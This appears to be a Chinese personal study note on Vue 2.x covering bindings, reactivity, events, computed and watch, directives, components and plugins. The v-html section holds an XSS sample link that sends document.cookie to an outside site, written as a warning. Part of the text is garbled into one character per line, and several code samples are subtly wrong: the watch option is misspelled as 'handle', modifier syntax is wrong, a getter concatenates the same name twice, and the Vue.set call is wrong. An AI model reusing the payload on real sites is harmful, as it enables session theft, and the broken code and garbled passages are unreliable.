前言
Vue 2.x 在我大二的时候学过 ,但由于自己当时基础不那么扎实,没学透,也用它做过几个不怎么成熟的项目,现在看来,当时只是依葫芦画瓢,全然没 get 到框架的灵魂,在第一次公司实习的时候用的框架是 React,Vue 很长时间没用了,到了第二家公司实习的时候,刚好用的就是 Vue,趁这次机会来回顾一下 Vue,本文章会从 Vue 2.x 循循渐进到 Vue 3.x,并不适合小白。
vue的{{ }}
{{}} 与 react 的 jsx 差不多,里面写的是 js 表达式可以直接获取 Date.now(), 变量 .toUpperCase() 等等。
v-bind 简写: 给属性绑定值,单向数据绑定,从 data 流向页面
例如 点我跳转 这里的 url 就是在 data 中定义的变量,所以此时" "里面写的是 js 表达式,不是寻常字符串。
v-model 给属性绑定值,双向绑定
数据不仅能从 data 流向页面,也能从页面流向 data,它一般只能运用在表单类元素上,像 input,select 等,v-model 默认收集的是 value 的值,所以一般简写
<input v-model:value="name"> 简写为:
<input v-model="name" >
v-model:lazy ,失去焦点再收集数据;
v-model:number,将输入的字符串转为有效数字
v-model:trim,输入首位空格过滤
vue 与 html 模版的绑定
准备一个容器
<div id="root"><p>我是一段话,内容为 {{content}}</p></div>
准备好 vue 实例:
new Vue({
el:'#root' // 不用 el 也可以用 new.Vue.$mount('#root') 挂载
data:{
content:'我是内容'
}
})
挂在步骤:把容器里的html模版交给 Vue,Vue 解析完了之后将指定内容放(挂载)到页面上的指定位置上去
data 的两种写法:对象式与函数式
对象式:
new Vue({
data:{
content:'我是内容',
}
})
函数式:
new Vue({
//data:function(){//因为在对象中写函数,所以直接可以写成以下这样
data(){
console.log(this) // this 是 Vue 实例对象,所以 data 不能写成箭头函数,不然 this 就是 window
return {
content:'我是内容',
}
}
})
后面写组件时会说到函数式与对象式的区别
MVVM 模型
1、M:模型(Model):对应 data 中的数据
2、V:视图(View):html 模版
3、VM:视图模型(ViweModel):Vue 实例对象(vm),它相当于一个桥梁,将 html 与 data 中的数据连接起来
data 中的所有属性,最终都出现在了 vm 身上,vm 身上所有的属性 及 Vue 原型上所有属性,在 Vue 模板中都可以直接使用,例如:{{ $options }} 等等
数据代理
Object.defineProperty 方法
let animal = {
name: 'cat',
}
let ageNumber = 0
Object.defineProperty(animal,'age',{ // 指定操作对象:animal,要操作的属性:age,
// value: 5, // 给 naimal 添加一个 age 属性,值为 5
// enumerable: true, // 添加的这个 age 属性是否可枚举(遍历),默认值 false
// writable: true, // 添加的这个 age 属性是否可被修改,默认值 false
// configurable: true // 添加的这个 age 属性是否可被删除,默认值 false
get(){ // 当获取 age 属性时,animal.age
return ageNumber
}
set(value){ // 当修改 age 属性的值时被被调用,animal.age = 8,会收到修改的具体值
console.log('age 被修改了,值为 value')
ageNumber = value
}
})
Vue 中,我们写在 data 中的每一个数据都是通过 Object.defineProperty() 添加到 vm(Vue实例) 上,为每一个属性都指定一个 getter/setter,在 getter/setter 内部去操作 (读/写) data 中,所以 data 中的数据我们一修改,对应 html 模版就会跟着更新。
事件处理
1、模版通过 @click 绑定事件
2、vue 的事件写在 methods 中,最终也会在 vm 上
3、methods 对象中的函数都是被 Vue 管理的函数,不要用箭头函数,不然 this 会不是 vm了,一般是 window
4、@click=“getInfo” 与 @click="getInfo(
e
v
e
n
t
)
"
的
效
果
一
致
,
但
后
者
可
传
参
,
默
认
第
一
个
参
数
就
是
e
v
e
n
t
,
为
了
防
止
传
其
它
参
数
后
e
v
e
n
t
就
丢
失
了
,
event)"的效果一致,但后者可传参,默认第一个参数就是 event,为了防止传其它参数后 event 就丢失了,
event)"的效果一致,但后者可传参,默认第一个参数就是event,为了防止传其它参数后event就丢失了,event 就当一个占位符
<button @click="getInfo"> 点击 </button>
<button @click="setInfo(666,$event)"> 设置 </button>
methods:{
getInfo(){
console.log('我被点击了')
},
setInfo(num, event){ // event.target 拿到事件元素
console.log('我要设置某值为', num)
}
}
Vue 中事件修饰符
1、prevent 阻止默认事件(常用)
2、stop 阻止事件冒泡(常用)
3、once 事件只触发一次(常用)
4、capture 使用事件的捕获(从外往里)模式,默认是冒泡(从里往外)
5、self 事件发生在当前元素(event.target 是当前元素)才会触发事件
6、passive 事件的默认行为立即执行,无需等到事件回调结束
点击链接先执行函数,然后立马跳转到页面,但加上 prevent 就能阻止默认的跳转行为
<a herf="https://blog.csdn.net/xiaoguoyangguang?spm=1000.2115.3001.5343" @click.prevent=“getInfo”>首页</a>
点击按钮,若不加 stop,则先调用 setInfo,然后调用 getInfo ,加上 stop 后阻止事件冒泡,就只会执行 setInfo(按钮的事件)
<div @click="getInfo">
<button @click.stop="setInfo($event)">按钮</button>
</div>
这个按钮点击调用 setInfo 事件一次后,再去点击就不会再触发 setInfo 事件了
<button @click.once="setInfo($event)">按钮</button>
Vue 中键盘事件
Vue 中常用的按键别名:
回车:enter
删除:delete
退出:esc
空格:space
换行:tab
上:up
下:down
左:left
右:right
键盘上的按键信息都可以通过 e.key 与 e.keyCode 拿到,若 key 是驼峰的需将驼峰改为短横线的形式,例如 CapsLock 需改为 caps-lock
<input type="text" @keyup="getCode">
methods:{
getCode(e){
console.log(e.key, e.keyCode) // CapsLock 20
}
}
当敲下 enter 键又抬起时触发 setInfo 函数:
<button @keyup.enter="getInfo($event)">按钮</button>
methods:{
getInfo(e){
console.log('用户按下了 enter 键')
}
}
计算属性 computed
1、计算属性的用法和一般的 Vue 属性使用是一样的。
2、要用的属性不是固定存在 data 中的,要通过已有的属性计算得来
3、原理:底层借助里 Object.defineproperty 方法提供的 getter 和 setter
4、在初次读取「计算属性」时,get 函数会执行一次,再次读「 计算属性」时会取缓存中的值,这与 methods 中的方法有本质区别,后者只要有人调用,就会被执行,但前者当它的依赖数据发生改变时会被再次调用
5、计算属性和 data 中的属性一样,最终都会出现在 vm(Vue 实例) 上,直接读取即可
6、如果计算属性需要被修改,那就必须写 set 函数去响应修改,且 set 中要引起计算时依赖的数据发生变化,如果计算属性不会被修改,那就可以使用简写形式
<component :is="componentsName"></component>
<p>{{ fullName }}</p>
import H5 from '~/features/activities/H5.vue'
import PC from '~/features/activities/PCActivities.vue'
export default {
name: 'PromotionsPage',
layout: 'application',
components: { H5, PC },
data:{
firstName:'李',
lastName:'佳'
}
computed: {
componentsName() { // 当这个计算属性只被读取,不被设置时可简写成这样
return this.$device.isMobile ? 'H5' : 'PC'
},
fullName:{ // 当这个计算属性被读也要被设置时必须给它设置 set 函数才行
get(){
console.log('fullName 属性被读取了')
return this.firstName + '-' + this.firstName
}
set(value){
const arr = value.split('-')
this.firstName = arr[0]
this.lastName = arr[1]
}
}
}
}
监视属性 watch
1、当被监视属性发生变化时,回调函数自动调用,进行相关操作
2、监视属性可以是 data 中的属性,也可以是计算属性,但必须存在,但 watch 检测不到多层级数据变化,所以如果监视的属性是一个「对象」,那就得开启深度监视,不然检测不到该对象的内部属性变化
3、监视属性有两种写法:(1) 在 new Vue 时传入 watch 配置,(2) 通过 vm.$watch 监视
const vm = new Vue({
data:{
flag: false,
number: { // 如果我们要监视 number 中的 a,那就得开启深度监视
a: 1,
b: 2
}
},
computed:{
isCold(){
return this.flag ? '很冷' : '不冷'
}
},
watch:{ // 写法一
flag: { // 监视 flag 属性,只要 flag 一变化就调用 handle 函数
immediate: true, // 初始化(当 flag 第一次被读取时,还没改变),就调用 handle 一下
handle(newValue, oldValue){ // 新值,老值
console.log('flag 发生了改变')
}
},
number: {
deep: true, // 开启深度监视
handle(){
console.log('number 发生了改变')
}
},
// 当监视不需要配置 immediate 与 deep 时,简写,检测 flag 属性的变化
flag(newValue, oldValue){
console.log('flag 发生了改变')
}
}
})
vm.$watch('flag', { // 写法二,在 Vue 实例中直接绑定
immediate: true,
handle(newValue, oldValue){ // 新值,老值
console.log('flag 发生了改变')
}
})
// 简写
vm.$watch('flag', function(newValue, oldValue) { // 新值,老值
console.log('flag 发生了改变')
}
)
computed 与 watch 的区别
1、computed 依靠返回值 return,但是 watch 监听到属性变化就进行一系列操作,不需要返回值
2、computed 能完成的功能,watch 也能完成,当它两都能完成时,优先用 computed,但 watch 能完成的功能 computed 不一定能完成,例如 watch 能进行异步操作,computed 不能,因为 computed 靠的是return 返回值,但是 setTimeout 的回调函数的返回值属于回调函数,不属于计算属性的返回值
重要 tips:
(1) 所有被 Vue 管理的函数。最好写成普通函数,这样 this 的指向才是 vm 或 组件实例对象
(2) 所有不被 Vue 管理的函数(定时器的回调函数、ajax 的回调函数,promise 回调函数),最好写成箭头函数,这样 this 的指向才是 vm 或 组件实例对象
data: {
flag: false,
newFlag:''
}
computed: {
flag() { // 不属于 flag 函数的回调,所以这个属性没返回,用到 flag 的页面空白
setTimeout(() =>{ // 这个 return 属于 setTimeout 的回调
return '间隔一秒,我变化了~'
}, 1000)
}
}
watch: {
flag(value) {
setTimeout(() =>{
this.newFlag = '间隔一秒,我变化了~,新的值为'+ value
}, 1000)
}
}
绑定 class 样式
<style>
.input-icon1 {
font-size: 24px;
}
.input-icon2 {
font-family: monospace;
}
.input-icon3 {
font-family: sans-serif;
}
</style>
<body>
// 相当于 class = "input-icon input-icon2",适用于:样式类名不确定,需要动态指定
<p class="input-icon1" :class="class1" @click="changeClass()">
<icon :name="rightIcon.name"></icon>
</p>
// 相当于 class = "input-icon input-icon2 input-icon3 ",适用于:要绑定的个数不确定,名字也不确定
<p class="input-icon1" :class="class1">
<icon :name="rightIcon.name"></icon>
</p>
// 相当于 class = "input-icon input-icon2",适用于:要绑定的个数确定,名字也确定,但动态决定用不用,true 用,false 不用
<p class="input-icon1" :class="classObj">
<icon :name="rightIcon.name"></icon>
</p>
</body>
<script>
new Vue({
data: {
class1: 'input-icon2',
class2:['input-icon2', 'input-icon3'],
classObj:{
input-icon2: true,
input-icon3: false
}
},
methods: { // 点击切换字体样式
this.class1 = 'input-icon3'
}
})
</script>
条件渲染
v-if 适用于:切换频率较低的场景,因为不展示的元素直接被移除掉,切换频率较高的话,Vue 得不断的 CreateElement 与 removeChild,特点:v-if 可以和 v-else-if、v-else 一起使用,但是他们不能被“打断”。
(1)v-if = “表达式”
(2)v-else-if = “表达式”
(3)v-else = “表达式”
v-show 适用于:切换频率较高的场景,因为不展示的元素被 display:none 隐藏,DOM 元素未被移除
列表渲染
用于展示列表数据,你需要多少条某种类型的 DOM 元素你就 v-for 它,不止能遍历数组(最常用),还能遍历对象、字符串、指定次数
<ul>
<li v-for="item in persons" :key="item.id">
{{item.name}} --- {{item.age}}
</li>
<li v-for="(value, k) of car" :key="k">
{{value}}
</li>
<li v-for="(char, index) of str" :key="index">
{{char}} --- {{index}}
</li>
<li v-for="(num, index) of 5" :key="index">
我被打印 5 次
</li>
</ul>
data: {
persons:[
{id: 001, name: '张三', age: 18},
{id: 001, name: '李四', age: 20},
{id: 001, name: '王五', age: 18}
],
car:{
name:'本田',
name:'奥迪',
name:'大奔'
},
str:'world'
}
key 的作用与原理
与之前我写的 React 的列表渲染中 key 的原理一致,就不赘述了,链接附上
key 的作用与原理
Vue监测数据变化的原理(对象)
let data = {
name: 'Tom',
age: '35'
}
const obs = new Observe(data) // 将 data 交给了 Observe,那么 data 上的 key 与 value,Observe 的实例对象上也有(基本功)
data = obs
function Observe(obj) {
const keys = Object.keys(obj)
keys.forEach((k)=>{
Object.defineProperty(this, k, {
get() {
return obj[k]
},
set(newVal) {
console.log(`${k}被修改了,我要解析模版,生成虚拟 DOM,进行 diff 比较...`)
obj[k] = newVal
}
})
})
}
Vue实现数据监听就是给每个对象都绑定为他们服务的get、set,我们实现的只是简易的实现数据监听,但是Vue比我们完善很多,他做了数据代理,vm.name数据就能被监听到,但我们没有,另外,我们这样只是考虑了一层,对象里面再嵌套对象就不行,而Vue底层写了递归
Vue.set()
data:{
student:{
...
}
}
当我们不能data上添加我们需要的属性时,我们可以使用Vue.set(‘student’, ‘name’,'Tom
'),或者 this.$set(…)是一样的, 其实直接往this(实例)上添加也可,但是那样添加的属性是没有响应式的。
局限:Vue.set只能给data中某一个对象追加属性,而不能给直接给data添加属性,Vue.set(‘data’, ‘user’,…)不允许
Vue实现数组的响应式
Vue中关于数组的方法是被封装过的,它内部首先还是调用了JS原生的方法(包括 push、unshift…),其次,它重新去解析模版、生成虚拟Dom…,所以数组还是可以被监听到,
过滤器
这个api不强制去使用,因为我们使用watch与compute
<h2>现在的时间是{{timer | timeFormater('YYYY年MM月DD日 HH:mm:ss') | mySlice}}</h2>
Vue.filter('mySlice',function(value){ // 全局过滤器
return value.slice(0, 4)
})
new Vue({
data:{
time: 1621561277603, // 时间戳
},
filters:{
timeFormater(value, str = 'YYYY年MM月DD日 HH:mm:ss') {
// return dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')
return dayjs(value).format(str)
},
mySlice(value) { // 接收到 timeFormater 的返回值;这个过滤器也可以放到全局
return value.slice(0, 4)
}
}
})
内置指令
1、v-text用得较少
<h1 v-text="name">你好</h1> // 会替换标签中的值,效果相当于 <h1>{{name}}</h1>
new Vue({
data: {
name:'Tom'
}
})
2、v-html
注意:v-html有安全性问题
- 在网站上动态渲染任意的html会非常危险的,容易造成XSS攻击
- 一定要在可信赖的内容上使用v-html,永远不要用在用户提交的内容上(用户的任意输入都是不可信的)
<div v-html="str">你好</div> // 会替换标签中的值,效果相当于 <h1>Tom</h1>
<div v-html="str2">一些内容</div>
new Vue({
data: {
str: '<h1>Tom</h1>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>诱惑你点击</a>'
//将本网站的cookie传递给百度网站并跳转,危险⚠️;ps:但本网站的cookie有httpOnly属性就不会被js代码获取到
}
})
3、v-cloak
- v-cloak 没有值,他是个特殊的指令,Vue实例创建完毕并接管容器后,会删除这个属性
- 使用v-cloak与css配合可以解决因为网速慢时页面出现{{XXX}}的问题
[v-cloak] {
display: none;
}
<h2 v-cloak>{{name}}</h2>
<javascript src="http://www.dbahbuc.com"></javascript> // 如果这个数据的请求很慢,下面的Vue模版还没开始解析,页面就会出现 {{name}},用cloak就能避免
new Vue({
data: {
name:'Tom'
}
})
4、v-once
- v-once指令在首次动态渲染数据后,就是为静态内容了
- 后续的数据变化的时候,不会引起v-once所在的节点更新(重新渲染),可以优化性能
<h2 v-once> 初始化n的值为{{n}} </h2>
<div v-once> 当前n的值为{{n}} </div>
<button @click="n++"> 点我+1 </button>
new Vue({
data: {
n: 1
}
})
5、v-pre
- 跳过其所在的节点的编译过程
- 可使用它跳过:没有使用指令语法、插值语法的节点,会加快编译(因为vue到该节点就不会再花时间检查他有没有插值,需不需要重新更新等等,直接跳过)
<h2 v-pre> 初始化n的值为{{n}} </h2>
自定义指令
指令名是你取的,指令背后操作DOM的逻辑也是你写的
函数写法的自定义指令只有 bind 与 update 两个钩子,不会有 inserted 的状态(元素插入到页面的钩子)
<h2> 当前的n:{{n}} </h2>
<div>放大十倍后的n:<span v-big="n"></span></div>
new Vue({
data: {
n: 1,
},
directives: {
// 调用时机:1、指令与元素成功绑定时(一上来);2、指令所在的模版被重新解析时
big(element, binding){ // element:指令所在的元素,binding:传给自定义指令的值
element.innerText = binding.value * 10
}
}
})
自定义指令-对象式
<input type="text" v-fBind:value="n"> 当前的n:{{n}} </input>
new Vue({
data: {
n: 1,
},
directives: {
fBind:{
bind(element, binding){ // 1、指令与元素成功绑定时(一上来)
element.value = binding.value
},
inserted(element, binding){ // 2、指令所在的元素被插入页面
element.focus() // 获取焦点、拿到元素的父元素等,都得用 inserted 钩子,因为这个两个操作得保证元素已经被插入到页面
},
update(element, binding){ // 3、指令所在的模版被重新解析时
element.value = binding.value
}
}
}
})
自定义指令注意事项
- 指令名有多个单词组成必须用“-”形式连接,不能使用小驼峰
- 相应的,调用的时候使用’big-numbe’(element, binding)
{…}的对象简写的形式调用 - 自定义指令中的this是window,不再是vm实例,因为他已经使用了v-big="n"的形式传参,不需要this.n获取data中的数据
全局的自定义写法和过滤器全局写法一模一样,全局 directives 都少个 ‘s’
<h2> 当前的n:{{n}} </h2>
<div>放大十倍后的n:<span v-big-number="n"></span></div>
new Vue({
data: {
n: 1,
},
directives: {
// 调用时机:1、指令与元素成功绑定时(一上来);2、指令所在的模版被重新解析时
'big-numbe'(element, binding){ // element:指令所在的元素,binding:传给自定义指令的值
element.innerText = binding.value * 10
}
}
})
全局自定义指令写法
对象式:
Vue.directive('fBind',{
bind(element, binding){
element.value = binding.value
},
inserted(element, binding){
element.focus()
},
update(element, binding){
element.value = binding.value
}
})
new Vue({...})
函数式:
Vue.directive('big-numbe', function(element, binding){
element.innerText = binding.value * 10
})
new Vue({...})
生命周期
- 生命周期中的this指向Vue实例
mounted:Vue完成模板解析,并把初始的真实DOM放到页面后(挂载完毕),调用的它
组件
非单文件组件:一个文件中包含n个组件
单文件组件:一个文件中只包含1个组件
关于this的指向问题
(1)组件配置中:
data函数、methods中的函数、watch中的函数、computed中的函数,它们的this指向均是【VueComponent 实例对象(简称vc,组件实例对象)】
(2)new Vue(options)配置中:
data函数、methods中的函数、watch中的函数、computed中的函数,它们的this指向均是【Vue 实例对象(简称vm,Vue实例对象)】
(3)vc 被 vm 所管理,因为 vm 是根组件
(4)vc与vm是有区别的,例如vm的配置项中可以写el,但vc中不能,vm配置项中的data可以是对象也可以是函数,但vc中的data必须写成函数
关于 VueComponent
school组件本质为一个名为 VueComponent 构造函数,在源码中定义。
我们只要写组件标签(如下school标签),Vue解析就会帮我们创建school组件的实例对象,即帮我们执行 new VueComponent(options),多个组件标签就调用多次VueComponent构造函数,每次返回都是一个全新的 VueComponent,数据不会混乱。
<school />
1、一个重要的内置关系:
VueComponent.prototype.__proto__ = Vue.prototype
2、为什么有这个关系:让组件实例对象vc可以访问到Vue原型上的属性、方法(原型链)
Vue使用组件三大步骤
1、定义组件
2、注册组件
3、使用组件(写组件标签)
如何定义一个组件
暂时使用Vue.extend(option)创建,后续会出现脚手架
- el不需要写 —— 最终所有的组件都要经过一个vm管理,由vm中的el决定服务于哪个容器
- data必须写成一个函数 —— 避免组件被复用时,数据存在引用关系
如何注册一个组件
- 局部注册:靠new Vue时传入components选项
- 全局注册:靠Vue.component(‘组件名’, 组件)
data为什么必须是一个函数?
如果某个组件内部的data是一个对象,因为对象的引用是栈中的地址,地址指向堆中的具体的对象,所以某一个组件修改了data中的数据,那么其它引用了这个组件中的data也被修改了,引起数据混乱。如果将data写成函数的形式,那么每次函数调用都会返回一个全新的对象,我们调用引用的组件后,每次都得到一份新的data数据对象,修改它不会影响其它组件的data数据。
ref属性
1、应用在html标签上获取的是真实的DOM元素
2、应用在组件标签上获取的是组件实例对象(vc)
3、使用方法:
<h1 ref="xxx">...</h1>
<School ref="xxx"></School>
获取:this.$refs.xxx
props
父组件传过来的props数据被子组件接收后,会出现在子组件的vc身上,我们直接使用this.xxx就能拿到,props为单向数据流,如果想修改props得复制一份到data身上,即可实现修改data中的数据达到修改peops数据的目的:
mixin 混合(混入)
功能:可以把多个组件共用的配置提取成一个混入对象
使用方法:第一步定义混合(写法和Vue配置项中的一样),例如:
{
data(){
…
},
methods:{
…
},
…
}
第二步使用混合,例如:
(1)全局混入:Vue.mixin(xxx)
(2)局部混入:mixins:[‘xxx’]
插件
功能:用于增强Vue
本质:包含install方法的一个对象,install方法的第一个参数是Vue,第二个参数是插件使用者传递的数据。
定义插件:
对象.install = function(Vue, options) {
// 1、添加全局过滤器
Vue.filter(...)
// 2、添加全局自定义指令
Vue.directive(...)
// 3、配置全局混入
Vue.mixin(...)
// 4、添加实例方法
Vue.prototype.myMethod = function () {...}
Vue.prototype.myProperty = xxx
}
使用插件:
Vue.use(插件名,options)